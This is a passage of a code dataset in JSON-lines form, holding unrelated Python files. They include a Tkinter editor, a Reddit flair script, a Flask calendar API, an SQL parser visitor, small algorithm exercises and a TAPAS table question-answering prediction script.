SimpleXMLRPCServer\nfrom tkinter import messagebox\nfrom collections import OrderedDict\n\n\nclass App:\n \"\"\"\n Tk Code application : builds the ui and exposes an api for business logic\n like a controller\n \"\"\"\n\n def __init__(self, tmp_dir, port_file, icon_file, python_path, data_dir):\n self.model = model.PWCodeModel() # observable data model\n self.model.add_observer(self)\n self.settings = settings.Settings(self.model)\n self.root = None\n\n self.sidebar = None\n self.notebook = None\n self.statusbar = None\n self.commander = None\n\n self.tmp_dir = tmp_dir\n self.data_dir = data_dir\n self.port_file = port_file\n self.icon_file = icon_file\n self.python_path = python_path\n self.recent_links = OrderedDict()\n\n def build_ui(self):\n \"\"\" builds the user interface \"\"\"\n self.root = root = tk.Tk(className=self.settings.name.lower()) # --> StartupWMClass = pwcode\n root.protocol(\"WM_DELETE_WINDOW\", self.quit_app)\n\n # img = tk.Image('photo', file=self.icon_file) # TODO: Denne virker med tk8.6 men ikke tk8.5\n # img = tk.PhotoImage(self.icon_file)\n\n root.tk.call('wm', 'iconphoto', root._w, tk.PhotoImage(file=self.icon_file))\n\n # root.tk.call('wm','iconphoto',root._w,img)\n # root.iconphoto(False, img)\n\n w = 1400 # width for the Tk root\n h = 900 # height for the Tk root\n ws = root.winfo_screenwidth()\n hs = root.winfo_screenheight()\n\n x = (ws/2) - (w/2)\n y = (hs/2) - (h/2)\n\n root.geometry('%dx%d+%d+%d' % (w, h, x, y))\n # root.option_add( \"*font\", \"gothic\" )\n # root.option_add(\"*Font\", \"Times 20 bold\")\n\n # def_font = tk.font.nametofont(\"TkDefaultFont\")\n # def_font.config(size=16)\n\n self.font = tk.font.nametofont(\"TkDefaultFont\")\n self.font.config(size=10) # WAIT: Gjør denne konfigurerbar. Også brukes av editor, eller fortsatt separat?\n\n style = theme.build_style(self.settings.colors)\n style.theme_use(\"pwcode\")\n\n self.commander = Commander(self)\n\n # WAIT: Lag funksjon som leser ut dette auto fra commands.py\n root.bind(\"\", lambda x: self.run_command('show_commands'))\n root.bind(\"\", lambda x: self.run_command('quit_app'))\n root.bind(\"\", lambda x: self.run_command('open_file'))\n root.bind(\"\", lambda x: self.run_command('open_folder'))\n root.bind(\"\", lambda x: self.run_command('new_file'))\n root.bind(\"\", lambda x: self.run_command('close_file'))\n root.bind(\"\", lambda x: self.run_command('save_file'))\n root.bind(\"\", lambda x: self.run_command('save_file_as'))\n root.bind(\"\", self.perform_ctrl_tab, True)\n\n root.bind(\"\", lambda x: self.run_command('next_tab_in_index'))\n root.bind(\"\", lambda x: self.run_command('next_tab_in_index')) # on keypad\n root.bind(\"\", lambda x: self.run_command('next_tab_in_index')) # on keypad with num lock\n\n root.bind(\"\", lambda x: self.run_command('previous_tab_in_index'))\n root.bind(\"\", lambda x: self.run_command('previous_in_index')) # on keypad\n root.bind(\"\", lambda x: self.run_command('previous_tab_in_index')) # on keypad with num lock\n\n root.bind(\"\", lambda x: self.run_command('increase_text_font'))\n root.bind(\"\", lambda x: self.run_command('decrease_text_font'))\n\n root.bind(\"\", self.perform_ctrl_return, True)\n root.bind_class(\"Text\", \"\", lambda e: None)\n root.bind_class(\"Text\", \"\", lambda e: None)\n root.bind(\"\", lambda x: self.run_command('kill_process'))\n\n root.bind_class(\"Text\", \"\", lambda e: None)\n root.bind_class(\"Text\", \"\", lambda e: None)\n root.bind(\"\", lambda x: self.run_command('toggle_comment'))\n root.bind(\"\", lambda x: self.run_command('toggle_comment')) # WAIT: Denne varianten for Alt-x også?\n\n # horizontal layout for the sidebar to expand / collapse panels\n self.paned = paned = tk.ttk.PanedWindow(root, orient=tk.HORIZONTAL)\n paned.pack(fill=tk.BOTH, expand=1)\n\n self.sidebar = SideBar(paned, self)\n paned.add(self.sidebar)\n\n self.editor_frame = EditorFrame(paned, self)\n paned.add(self.editor_frame)\n\n initial_status = ''\n self.statusbar = StatusBar(root, self, initial_status)\n self.statusbar.pack(fill=tk.X, side=tk.BOTTOM)\n\n def perform_ctrl_tab(self, event=None):\n self.run_command('previous_tab')\n return \"break\"\n\n def perform_ctrl_return(self, event=None):\n self.run_command('run_file')\n return \"break\"\n\n def quit_app(self):\n \"\"\" Exit program \"\"\"\n unsaved = False\n for tab_id in self.editor_frame.notebook.tabs():\n if '!hometab' not in str(tab_id):\n file_obj = self.editor_frame.id2path[tab_id]\n if file_obj.path in self.recent_links.keys():\n del self.recent_links[file_obj.path]\n self.recent_links.update({file_obj.path: file_obj})\n\n text_editor = self.editor_frame.notebook.nametowidget(tab_id)\n if text_editor.modified and not unsaved:\n unsaved = True\n\n if unsaved:\n confirm = messagebox.askyesno(\n message='You have unsaved changes. Are you sure you want to quit?',\n icon='question',\n title='Confirm Quit'\n )\n\n if unsaved and not confirm:\n return\n\n if os.path.exists(self.port_file):\n os.remove(self.port_file)\n\n for r, d, f in os.walk(self.tmp_dir):\n for file in f:\n path = self.tmp_dir + '/' + file\n if 'Untitled-' in file and os.path.getsize(path) == 0:\n os.remove(path)\n\n self.root.destroy()\n pickle.dump(self.recent_links, open(self.tmp_dir + \"/recent_files.p\", \"wb\"))\n\n def run(self, port):\n \"\"\" launch application and server \"\"\"\n threading.Thread(target=self.start_rcp_server, args=(port,), daemon=True).start()\n\n if not self.root:\n self.build_ui()\n self.root.mainloop()\n\n def focus(self):\n \"\"\" Focus existing frame \"\"\"\n self.root.wm_state('iconic')\n self.root.wm_state('normal')\n\n def start_rcp_server(self, port):\n server = SimpleXMLRPCServer(('localhost', int(port)), logRequests=False, allow_none=True)\n server.register_instance(self)\n server.serve_forever()\n\n def after(self, delay, command):\n \"\"\" proxy method to Tk.after() \"\"\"\n self.root.after(delay, command)\n\n def on_file_selected(self, file_obj):\n \"\"\" callback on file selection : set the window title \"\"\"\n base_title = ''\n if file_obj:\n if file_obj.path.startswith(self.tmp_dir + '/Untitled-'):\n base_title = file_obj.basename + ' - '\n else:\n base_title = file_obj.path + ' - '\n\n self.root.title(base_title + self.settings.name)\n\n def command_callable(self, name):\n \"\"\"create a callable of a command \"\"\"\n\n def _callback(*args, **kwargs):\n self.commander.run(name, *args, **kwargs)\n\n return _callback\n\n def run_command(self, name, *args, **kwargs):\n self.commander.run(name, *args, **kwargs)\n\n def select_file(self, file_obj, originator):\n \"\"\" set a file as selected \"\"\"\n self.model.set_current_file(file_obj, originator)\n","sub_path":"bin/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":9300,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"425937230","text":"import praw\ndef processWikipage(reddit):\n wikiPage = reddit.subreddit('OpTicGaming').wiki['verification'].content_md\n lines = wikiPage.split(\"\\n\")\n users = []\n for line in lines:\n users.append(line.split(\",\"))\n return users\ndef generateFlairs(users):\n userFlairs = []\n for user in users:\n userFlair = {}\n userFlair['user'] = user[0].strip()\n flair = \":checkmark: {name} - {role}\".format(name = user[1].strip(), role = user[2].strip())\n userFlair['flair_text'] = flair\n userFlairs.append(userFlair)\n return userFlairs\ndef assignFlairs(flairs, reddit):\n css = 'verify'\n reddit.subreddit('OpTicGaming').flair.update(flair_list = flairs, css_class = css)\ndef main(reddit):\n users = processWikipage(reddit)\n flairs = generateFlairs(users)\n assignFlairs(flairs, reddit)","sub_path":"verification.py","file_name":"verification.py","file_ext":"py","file_size_in_byte":845,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"529917135","text":"\n\nfrom xai.brain.wordbase.nouns._halberd import _HALBERD\n\n#calss header\nclass _HALBERDS(_HALBERD, ):\n\tdef __init__(self,): \n\t\t_HALBERD.__init__(self)\n\t\tself.name = \"HALBERDS\"\n\t\tself.specie = 'nouns'\n\t\tself.basic = \"halberd\"\n\t\tself.jsondata = {}\n","sub_path":"xai/brain/wordbase/nouns/_halberds.py","file_name":"_halberds.py","file_ext":"py","file_size_in_byte":245,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"113025242","text":"class Dicionario:\n '''\n Self.key é o valor da chave\n Self.Values é o numero de repticao da chave\n '''\n def __init__(self, string):\n self.key = []\n self.values = []\n string = string.split()\n for palavra in string:\n valor = self.get(palavra)\n if valor == None:\n self.put(palavra, 1)\n else:\n self.put(palavra, valor + 1)\n\n def __str__(self):\n s = \"\"\n for i in range(len(self.values)):\n s += \"%s %d\\n\"%(self.key[i],self.values[i])\n return s\n\n def indice(self, chave):\n '''\n :param chave: chave a ser procurada\n :return: Achou, indice\n '''\n ini, fim = 0, len(self.key)\n while ini < fim:\n meio = (ini + fim)//2\n if self.key[meio] == chave:\n return True, meio\n elif self.key[meio] < chave:\n ini = meio + 1\n else:\n fim = meio\n return False, ini\n\n def get(self,chave):\n achou, i = self.indice(chave)\n if achou:\n return self.values[i]\n return None\n\n def put(self, chave, valor):\n achou, i = self.indice(chave)\n if achou:\n self.values[i] = valor\n else:\n self.key.append(0)\n self.values.append(0)\n for j in range(len(self.key) - 2, i, -1):\n self.key[j + 1] = self.key[j]\n self.values[j + 1] = self.values[j]\n self.key[i] = chave\n self.values[i] = valor\n\ndef main():\n lst_pal = '30 33 40 55 55 60 60 66 70 88'\n dicio = Dicionario(lst_pal)\n dicio.put('20', 1)\n dicio.put('10',1)\n dicio.put('64',1)\n\n print(dicio)\n\nif __name__ == \"__main__\":\n main()","sub_path":"Dicionario/DicioBB.py","file_name":"DicioBB.py","file_ext":"py","file_size_in_byte":1794,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"43485559","text":"import requests\r\nfrom bs4 import BeautifulSoup\r\nurl = 'https://www.vanityfair.com/style/society/2014/06/monica-lewinsky-humiliation-culture'\r\nr = requests.get(url)\r\nsoup = BeautifulSoup(r.text)\r\nwith open(\"demo.txt\",'w') as openfile:\r\n \r\n for article in soup.find_all(class_=\"content-section\"):\r\n openfile.write(article.encode('utf-8').strip())\r\n #print(article.text)\r\n openfile.close()\r\n","sub_path":"webpage decode 2.py","file_name":"webpage decode 2.py","file_ext":"py","file_size_in_byte":411,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"647768306","text":"# coding=utf-8\n# Copyright 2018-2020 EVA\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nfrom src.parser.select_statement import SelectStatement\nfrom src.parser.table_ref import TableRef\n\nfrom src.parser.evaql.evaql_parserVisitor import evaql_parserVisitor\nfrom src.parser.evaql.evaql_parser import evaql_parser\nfrom src.utils.logging_manager import LoggingLevel, LoggingManager\n\n##################################################################\n# TABLE SOURCES\n##################################################################\n\n\nclass TableSources(evaql_parserVisitor):\n def visitTableSources(self, ctx: evaql_parser.TableSourcesContext):\n\n table_list = []\n table_sources_count = len(ctx.tableSource())\n for table_sources_index in range(table_sources_count):\n table = self.visit(ctx.tableSource(table_sources_index))\n table_list.append(table)\n\n return table_list\n\n def visitTableSourceItemWithSample(\n self, ctx: evaql_parser.TableSourceItemWithSampleContext):\n sample_freq = None\n table = self.visit(ctx.tableSourceItem())\n if ctx.sampleClause():\n sample_freq = self.visit(ctx.sampleClause())\n return TableRef(table, sample_freq)\n\n # Nested sub query\n def visitSubqueryTableItem(\n self, ctx: evaql_parser.SubqueryTableItemContext):\n return self.visit(ctx.selectStatement())\n\n def visitUnionSelect(self, ctx: evaql_parser.UnionSelectContext):\n left_selectStatement = self.visit(ctx.left)\n right_selectStatement = self.visit(ctx.right)\n # This makes a difference becasue the LL parser (Left-to-right)\n while right_selectStatement.union_link is not None:\n right_selectStatement = right_selectStatement.union_link\n # We need to check the correctness for union operator.\n # Here when parsing or later operator, plan?\n right_selectStatement.union_link = left_selectStatement\n if ctx.unionAll is None:\n right_selectStatement.union_all = False\n else:\n right_selectStatement.union_all = True\n return right_selectStatement\n\n def visitQuerySpecification(\n self, ctx: evaql_parser.QuerySpecificationContext):\n target_list = None\n from_clause = None\n where_clause = None\n orderby_clause = None\n limit_count = None\n\n # first child will be a SELECT terminal token\n\n for child in ctx.children[1:]:\n try:\n rule_idx = child.getRuleIndex()\n if rule_idx == evaql_parser.RULE_selectElements:\n target_list = self.visit(child)\n\n elif rule_idx == evaql_parser.RULE_fromClause:\n clause = self.visit(child)\n from_clause = clause.get('from', None)\n where_clause = clause.get('where', None)\n\n elif rule_idx == evaql_parser.RULE_orderByClause:\n orderby_clause = self.visit(ctx.orderByClause())\n\n elif rule_idx == evaql_parser.RULE_limitClause:\n limit_count = self.visit(ctx.limitClause())\n\n except BaseException as e:\n # stop parsing something bad happened\n LoggingManager().log('Error while parsing \\\n visitQuerySpecification', LoggingLevel.ERROR)\n raise e\n\n # we don't support multiple table sources\n if from_clause is not None:\n from_clause = from_clause[0]\n\n select_stmt = SelectStatement(\n target_list, from_clause, where_clause,\n orderby_clause_list=orderby_clause,\n limit_count=limit_count)\n\n return select_stmt\n\n def visitSelectElements(self, ctx: evaql_parser.SelectElementsContext):\n select_list = []\n select_elements_count = len(ctx.selectElement())\n for select_element_index in range(select_elements_count):\n element = self.visit(ctx.selectElement(select_element_index))\n select_list.append(element)\n\n return select_list\n\n def visitFromClause(self, ctx: evaql_parser.FromClauseContext):\n from_table = None\n where_clause = None\n\n if ctx.tableSources():\n from_table = self.visit(ctx.tableSources())\n if ctx.whereExpr is not None:\n where_clause = self.visit(ctx.whereExpr)\n\n return {\"from\": from_table, \"where\": where_clause}\n","sub_path":"src/parser/parser_visitor/_table_sources.py","file_name":"_table_sources.py","file_ext":"py","file_size_in_byte":4980,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"540614308","text":"# -*- coding: utf-8 -*-\nimport re\n\n\n#注释符号\ncommentSymbol=\"#\"\n#表头\ntableHeadList = []\n#表头标识符\ntableHeadSymbol = \"CHROM\"\n#数据的统计\ndataMap = {}\n#数据的输出列表\ndataList = []\n\nwith open(\"./test.txt\") as infile:\n for line in infile:\n line = line.strip()\n #去除注释行\n if ( line.startswith(commentSymbol)):\n continue \n \n if ( line.startswith(tableHeadSymbol)):\n tableHead = re.split(\"\\s+\", line)\n tableHeadList = tableHead[:4]\n continue\n #数据行\n elementList = []\n elementList = re.split(\"\\s+\", line)\n #DP4数据列获取\n freqList = re.split(\";\", elementList[31])\n #DP4数据获取\n DP4String = freqList[-2]\n #DP4数据集\n DP4_list= re.split(\"=\",DP4String)[-1].split(\",\")\n #DP4精度换算\n DP4_list=[ float(x) for x in DP4_list]\n #DP4频率计算\n freq=(DP4_list[2]+DP4_list[3])/sum(DP4_list)\n #CHROM\tPOS\t\tREF\tALT\n gene_position = elementList[:5]\n del gene_position[2]\n\n #频率列\n freStr = str(round(freq,3))\n gene_position.append(freStr)\n #存在相同的基因则取出并且count加1 同时添加最大值 最小值\n genKeyId = gene_position[:4]\n genKey = \",\".join(genKeyId)\n if ( dataMap.has_key(genKey)) :\n for element in dataList :\n listId = element[:4]\n listKey = \",\".join(listId)\n if (listKey == genKey) :\n\n fre = element[-1]+\",\"+freStr\n element[-1] = fre\n continue\n else:\n dataMap[genKey] = gene_position[-1]\n dataList.append(gene_position)\n \n\n\n\n \ntableHeadList.append(\"count\")\ntableHeadList.append(\"min\")\ntableHeadList.append(\"max\")\nf=open('newfile', 'w')\n\nfor headElement in tableHeadList :\n f.write(headElement)\n f.write(\"\\t\")\nf.write(\"\\n\")\n\nfor element in dataList :\n for data in element :\n f.write(str(data))\n f.write(\"\\t\")\n freInfo = str(element[-1])\n freInfoList = freInfo.split(\",\")\n f.write(str(len(freInfoList)))\n f.write(\"\\t\")\n f.write(min(freInfoList))\n f.write(\"\\t\")\n f.write(max(freInfoList))\n f.write(\"\\n\")\n\nf.close()\n\n\n","sub_path":"bio/baseline_count.py","file_name":"baseline_count.py","file_ext":"py","file_size_in_byte":2319,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"121385070","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\ndef make_waffles(apps, schema_editor):\n # Create the waffle flags and switches we currently need.\n Flag = apps.get_model('waffle', 'Flag')\n Switch = apps.get_model('waffle', 'Switch')\n\n Flag.objects.create(\n name='feedbackdev',\n everyone=False,\n superusers=False,\n staff=False,\n authenticated=False,\n rollout=False,\n note='',\n testing=False)\n\n Flag.objects.create(\n name='ditchchart',\n everyone=False,\n superusers=False,\n staff=False,\n authenticated=False,\n rollout=False,\n note='',\n testing=False)\n\n Switch.objects.create(\n name='gengosystem',\n note='Enables/disables Gengo API usage',\n active=True)\n\n Flag.objects.create(\n name='thankyou',\n everyone=False,\n superusers=False,\n staff=False,\n authenticated=False,\n rollout=False,\n note='',\n testing=False)\n\n\ndef remove_waffles(apps, schema_editor):\n # Create the waffle flags and switches we currently need.\n Flag = apps.get_model('waffle', 'Flag')\n Switch = apps.get_model('waffle', 'Switch')\n\n Flag.objects.filter(\n name__in=['feedbackdev', 'ditchchart', 'thankyou']).delete()\n Switch.objects.filter(name='gengosystem').delete()\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('base', '0001_initial'),\n ('waffle', '0001_initial'),\n ]\n\n operations = [\n migrations.RunPython(make_waffles, remove_waffles),\n ]\n","sub_path":"fjord/base/migrations/0002_make_waffles.py","file_name":"0002_make_waffles.py","file_ext":"py","file_size_in_byte":1646,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"534622297","text":"from flask import (\n Blueprint, request\n)\nimport flask\nimport json\nfrom integrated_api import postgres, utils, googleCalendar\n\n\nbp = Blueprint('api_v2', __name__, url_prefix='/api/v2')\n\n@bp.route('/calendars/', methods=['POST', 'DELETE', 'PUT', 'GET'])\ndef calendars():\n try:\n requestBody = utils.getJSONBody(request.get_data(as_text=True))\n if(request.method in ('POST', 'DELETE', 'PUT')):\n if (len(requestBody) == 0):\n return \"Error, you use POST, DELETE or PUT method but data empty. Check API documentation\"\n else:\n if(request.method=='POST'):\n summary = requestBody.get('summary', None)\n if(summary):\n timeZone = requestBody.get('time_zone', None)\n if(timeZone):\n created_calendar = googleCalendar.createCalendar(summary, timeZone)\n else:\n created_calendar = googleCalendar.createCalendar(summary)\n data = {\n 'calendar_id' : created_calendar['id'],\n 'calendar_name' : created_calendar['summary'],\n 'platform_id': 'Google Calendar'\n }\n data = postgres.upsertCalendar(data)\n data = json.dumps(created_calendar, default=str)\n else:\n return \"Error, creating calendar need summary and timezone\"\n elif (request.method in ('DELETE', 'PUT')):\n calendarID = requestBody.get('id', None)\n if(calendarID):\n if(request.method=='DELETE'):\n edited_calendar = googleCalendar.deleteCalendar(calendarID)\n edited_calendar = postgres.deleteCalendar(calendarID)\n elif(request.method=='PUT'):\n edited_calendar = googleCalendar.updateCalendar(data=requestBody)\n else:\n return \"Error, unrecognized request method\"\n data = json.dumps(edited_calendar, default=str)\n else:\n return \"Error, deleting or updatingcalendar need calendar ID\"\n else:\n data = json.dumps(googleCalendar.listCalendar(), default=str)\n response = flask.Response(data)\n response.headers = {\n 'Access-Control-Allow-Origin': '*',\n 'Content-Type': 'application/json'\n }\n return response\n except Exception as e:\n errormessage = utils.customError(\"calendars\", e)\n return errormessage\n\n@bp.route('/scheduled_events/', methods=['POST', 'PATCH', 'PUT', 'GET'])\ndef scheduled_events():\n try:\n requestBody = utils.getJSONBody(request.get_data(as_text=True))\n if (request.method in ('POST', 'DELETE', 'PUT')):\n if (len(requestBody) == 0):\n return \"Error, you use POST, DELETE or PUT method but data empty. Check API documentation\"\n else:\n eventID = requestBody.get('event_id', None)\n if (eventID):\n if(request.method=='POST'):\n data = googleCalendar.upsertEvent(requestBody)\n data = json.dumps(data, default=str)\n response = flask.Response(data)\n response.headers = {\n 'Access-Control-Allow-Origin': '*',\n 'Content-Type': 'application/json'\n }\n return response\n elif (request.method in ('PATCH', 'PUT')):\n status = requestBody.get('status', None)\n if(status in ('U', 'C')):\n data = googleCalendar.upsertEvent(requestBody, status)\n data = json.dumps(data, default=str)\n response = flask.Response(data)\n response.headers = {\n 'Access-Control-Allow-Origin': '*',\n 'Content-Type': 'application/json'\n }\n return response\n else:\n return \"Error, status update should be in 'U' for update and 'C' for cancel\"\n else:\n return \"Error, event ID is required.\"\n else:\n pass\n except Exception as e:\n errormessage = utils.customError(\"scheduled_events\", e)\n return errormessage\n\n@bp.route('/persons/', methods=['GET'])\ndef retrieve_person(personID):\n try:\n\n if (personID):\n data = postgres.listPerson(personID=personID)\n else:\n data = None\n data = json.dumps(data, default=str)\n response = flask.Response(data)\n response.headers = {\n 'Access-Control-Allow-Origin': '*',\n 'Content-Type': 'application/json'\n }\n return response\n except Exception as e:\n errormessage = utils.customError(\"list-event\", e)\n return errormessage\n\n@bp.route('/persons/', methods=['GET', 'POST', 'PUT'])\ndef persons():\n try:\n print(request.method)\n print(request.args.get('personID', None))\n requestBody = utils.getJSONBody(request.get_data(as_text=True))\n if(request.method in ('POST', 'PUT')):\n if(len(requestBody)<=0):\n return \"Error, you use POST or PATCH method but data empty. Check API documentation\"\n if request.method == 'POST':\n if(requestBody.get('person_id',None)):\n del requestBody['person_id']\n data = json.dumps(postgres.upsertPerson(data=requestBody), default=str)\n else:\n print(request.method)\n personID = request.args.get('personID', None)\n print(personID)\n if (personID):\n data = json.dumps(postgres.listPerson(personID=personID), default=str)\n else:\n data = json.dumps(postgres.listPerson(), default=str)\n response = flask.Response(data)\n response.headers = {\n 'Access-Control-Allow-Origin': '*',\n 'Content-Type': 'application/json'\n }\n return response\n except Exception as e:\n errormessage = utils.customError(\"persons\", e)\n return errormessage\n","sub_path":"integrated_api/event.py","file_name":"event.py","file_ext":"py","file_size_in_byte":6595,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"238615303","text":"class Solution(object):\n def coinChange(self, coins, amount):\n n = len(coins)\n \n # dp is a 2d array with dimension n x (amount + 1)\n # dp[i][j] is the fewest number of coins to change j cents using coins[0], coins[1]...coins[i]\n dp = [[sys.maxint] * (amount + 1) for _ in range(n)]\n\n\n for i in range(n):\n #always need 0 coins for changing 0 cents\n dp[i][0] = 0\n \n for j in range(1, amount + 1):\n if j - coins[i] >= 0:\n dp[i][j] = min(dp[i - 1][j], dp[i][j - coins[i]] + 1)\n elif i > 0:\n dp[i][j] = dp[i - 1][j]\n \n return dp[n - 1][amount] if dp[n - 1][amount] != sys.maxint else -1\n","sub_path":"algorithms/CoinChangeI/CoinChangeI.py","file_name":"CoinChangeI.py","file_ext":"py","file_size_in_byte":745,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"636568103","text":"from pum.core.deltapy import DeltaPy\nimport os\n\nclass RecreateViewsAndFunctions(DeltaPy):\n\n def run(self):\n\n delta_dir = self.delta_dir\n\n self.write_message(\"Reloading views and functions\")\n\n views_sh = \"PGSERVICE=qwat_test SRID=21781 {}../../ordinary_data/views/rewrite_views.sh\".format(self.delta_dir)\n functions_sh = \"PGSERVICE=qwat_test SRID=21781 {}../../ordinary_data/functions/rewrite_functions.sh\".format(self.delta_dir)\n\n # Execute commands\n os.system(views_sh)\n os.system(functions_sh)\n","sub_path":"update/delta/post-all.py","file_name":"post-all.py","file_ext":"py","file_size_in_byte":548,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"516048314","text":"# -*- coding: utf-8 -*-\r\nS=str() #产生空字符串\r\n\r\nst='hello word!'\r\nz1=st.find('he',0,len(st)) #返回包含子串的开始索引位置,否则-1\r\nz2=st.find('he',1,len(st))\r\nprint(z1,z2)\r\n\r\nstt=st.replace('or','kl') #原来的st不变\r\nprint(stt)\r\nprint(st)\r\n\r\nst1='joh'\r\nst2=st1+' '+st\r\nprint(st2)\r\n\r\nstr1='jo'\r\nstr2='qb'\r\nstr3='qb'\r\ns1=str1!=str2\r\ns2=str2==str3\r\nprint(s1,s2)\r\n\r\n\r\n","sub_path":"程序与数据/第1章 Python基础知识/1.5.3.py","file_name":"1.5.3.py","file_ext":"py","file_size_in_byte":393,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"156233062","text":"N = list(map(int, input().split()))\n\nK = list(map(int, input().split()))\n\n# 상품 값을 내림차순으로 정렬\nK.sort(reverse=True)\n\n# 최소한으로 구매 가능한 비싼 상품의 개수를 카운트하는 변수\ncount = 0\n\n# 가장 큰 상품의 값 순서대로 K[i]를 구매가능하면 count를 올리고, N[1] < K[i]라면 그냥 지나간다.\nfor i in range(len(K)) :\n if N[1] >= K[i] :\n N[1] = N[1] - K[i]\n count += 1\n else :\n continue\n# 살 수 있는 상품이 하나도 없었다면 0을 출력한다.\nif count == 0 :\n print(0)\nelse :\n print(count)","sub_path":"3주차/노하람/(구간 합)재벌의 쇼핑.py","file_name":"(구간 합)재벌의 쇼핑.py","file_ext":"py","file_size_in_byte":602,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"621463395","text":"\nimport csv\n\ndef read_tab_sep():\n inpfile=open(\"input_tab_sep.txt\",'r')\n inp_reader=csv.reader(inpfile, delimiter='\\t')\n for row in inp_reader:\n print (row)\n print (row[0])\n\n#read_tab_sep()\n\ndef read_space_sep():\n inpfile=open(\"input_space_sep.txt\",'r')\n inp_reader=csv.reader(inpfile, delimiter=' ')\n for row in inp_reader:\n print (row)\n print (row[0])\n\n\n#read_space_sep()\n\ndef read_comma_sep():\n inpfile=open(\"input_comma_sep.txt\",'r')\n inp_reader=csv.reader(inpfile, delimiter=\",\", quotechar=\"'\")\n for row in inp_reader:\n print (row)\n print (row[0])\n\n\nread_comma_sep()","sub_path":"new_pract/read_tab_sep.py","file_name":"read_tab_sep.py","file_ext":"py","file_size_in_byte":640,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"178629246","text":"import tensorflow.compat.v1 as tf\nimport os \nimport shutil\nimport csv\nimport pandas as pd\nimport IPython\n\nprint(\"1\")\n\ntf.get_logger().setLevel('ERROR')\n\nfrom tapas.utils import tf_example_utils\nfrom tapas.protos import interaction_pb2\nfrom tapas.utils import number_annotation_utils\nfrom tapas.scripts import prediction_utils\n\nprint(\"2\")\n\nos.makedirs('results/sqa/tf_examples', exist_ok=True)\nos.makedirs('results/sqa/model', exist_ok=True)\nwith open('results/sqa/model/checkpoint', 'w') as f:\n f.write('model_checkpoint_path: \"model.ckpt-0\"')\nfor suffix in ['.data-00000-of-00001', '.index', '.meta']:\n shutil.copyfile(f'tapas_sqa_base/model.ckpt{suffix}', f'results/sqa/model/model.ckpt-0{suffix}')\n\n\nprint(\"3\")\n\nmax_seq_length = 512\nvocab_file = \"tapas_sqa_base/vocab.txt\"\nconfig = tf_example_utils.ClassifierConversionConfig(\n vocab_file=vocab_file,\n max_seq_length=max_seq_length,\n max_column_id=max_seq_length,\n max_row_id=max_seq_length,\n strip_column_names=False,\n add_aggregation_candidates=False,\n)\nconverter = tf_example_utils.ToClassifierTensorflowExample(config)\n\nprint(\"4\")\n\ndef convert_interactions_to_examples(tables_and_queries):\n \"\"\"Calls Tapas converter to convert interaction to example.\"\"\"\n for idx, (table, queries) in enumerate(tables_and_queries):\n interaction = interaction_pb2.Interaction()\n for position, query in enumerate(queries):\n question = interaction.questions.add()\n question.original_text = query\n question.id = f\"{idx}-0_{position}\"\n for header in table[0]:\n interaction.table.columns.add().text = header\n for line in table[1:]:\n row = interaction.table.rows.add()\n for cell in line:\n row.cells.add().text = cell\n number_annotation_utils.add_numeric_values(interaction)\n for i in range(len(interaction.questions)):\n try:\n yield converter.convert(interaction, i)\n except ValueError as e:\n print(f\"Can't convert interaction: {interaction.id} error: {e}\")\n \ndef write_tf_example(filename, examples):\n with tf.io.TFRecordWriter(filename) as writer:\n for example in examples:\n writer.write(example.SerializeToString())\n\ndef predict(table_data, queries):\n print(\"5\")\t\n table = [list(map(lambda s: s.strip(), row.split(\"|\"))) \n for row in table_data.split(\"\\n\") if row.strip()]\n examples = convert_interactions_to_examples([(table, queries)])\n write_tf_example(\"results/sqa/tf_examples/test.tfrecord\", examples)\n write_tf_example(\"results/sqa/tf_examples/random-split-1-dev.tfrecord\", [])\n print(\"6\")\n os.system(''' python tapas/tapas/run_task_main.py \\\n --task=\"SQA\" \\\n --output_dir=\"results\" \\\n --noloop_predict \\\n --test_batch_size=3 \\\n --tapas_verbosity=\"ERROR\" \\\n --compression_type= \\\n --init_checkpoint=\"tapas_sqa_base/model.ckpt\" \\\n --bert_config_file=\"tapas_sqa_base/bert_config.json\" \\\n --mode=\"predict\" 2> error''')\n\n\n\n results_path = \"results/sqa/model/test_sequence.tsv\"\n all_coordinates = []\n df = pd.DataFrame(table[1:], columns=table[0])\n #display(IPython.display.HTML(df.to_html(index=False)))\n print(\"7\")\n with open(results_path) as csvfile:\n reader = csv.DictReader(csvfile, delimiter='\\t')\n for row in reader:\n coordinates = prediction_utils.parse_coordinates(row[\"answer_coordinates\"])\n all_coordinates.append(coordinates)\n answers = ', '.join([table[row + 1][col] for row, col in coordinates])\n position = int(row['position'])\n print(\">\", queries[position])\n print(answers)\n return all_coordinates\n\n\n\n# Example nu-1000-0\nresult = predict(\"\"\"\nPos | No | Driver | Team | Laps | 